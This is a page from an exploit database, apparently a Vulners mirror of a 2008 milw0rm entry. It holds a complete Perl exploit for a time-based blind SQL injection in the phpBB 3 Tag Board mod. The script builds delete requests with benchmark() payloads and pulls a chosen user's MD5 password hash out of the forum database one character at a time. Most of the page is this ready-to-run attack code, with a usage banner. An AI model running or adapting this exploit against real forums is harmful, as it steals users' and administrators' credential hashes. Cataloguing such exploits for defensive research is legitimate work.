Lucene search
K

phpBB 3 (Mod Tag Board <= 4) Remote Blind SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

phpBB 3 Remote SQL Injection Exploi

Code

                                                #!/usr/bin/perl 
# ---------------------------------------------------------------
# phpBB 3 (Mod Tag Board &#60;= 4) Remote Blind SQL Injection Exploit  
# by athos - staker[at]hotmail[dot]it
# http://bx67212.netsons.org/forum/viewforum.php?f=3
# ---------------------------------------------------------------
# Note: Works regardless PHP.ini settings!
# Thanks meh also know as cHoBi
# ---------------------------------------------------------------

use strict;
use LWP::UserAgent;

my ($hash,$time1,$time2);

my @chars = (48..57, 97..102); 
my $http  = new LWP::UserAgent;

my $host  = shift;
my $table = shift;
my $myid  = shift or &usage;


sub injection
{
    my ($sub,$char) = @_;
    
    return &#34;/tag_board.php?mode=controlpanel&action=delete&id=&#34;.
           &#34;1+and+(select+if((ascii(substring(user_password,${sub},1)&#34;.
           &#34;)=${char}),benchmark(230000000,char(0)),0)+from+${table}_us&#34;.
           &#34;ers+where+user_id=${myid})--&#34;;
}


sub usage
{
    print STDOUT &#34;Usage: perl $0 [host] [table_prefix] [user_id]\n&#34;;
    print STDOUT &#34;Howto: perl $0 http://localhost/phpBB phpbb 2\n&#34;;
    print STDOUT &#34;by athos - staker[at]hotmail[dot]it\n&#34;;
    exit;
}


syswrite(STDOUT,&#39;Hash MD5: &#39;);

for my $i(1..33)
{
    for my $j(0..16)
    {
        $time1 = time();

        $http-&#62;get($host.injection($i,$chars[$j]));
        
        $time2 = time();

        if($time2 - $time1 &#62; 6)
        {
            syswrite(STDOUT,chr($chars[$j]));
            $hash .= chr($chars[$j]); 
            last;
        }
        
        if($i == 1 && length $hash &#60; 0)
        {
            syswrite(STDOUT,&#34;Exploit Failed!\n&#34;);
            exit;
        } 
    }
}

# milw0rm.com [2008-12-08]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
21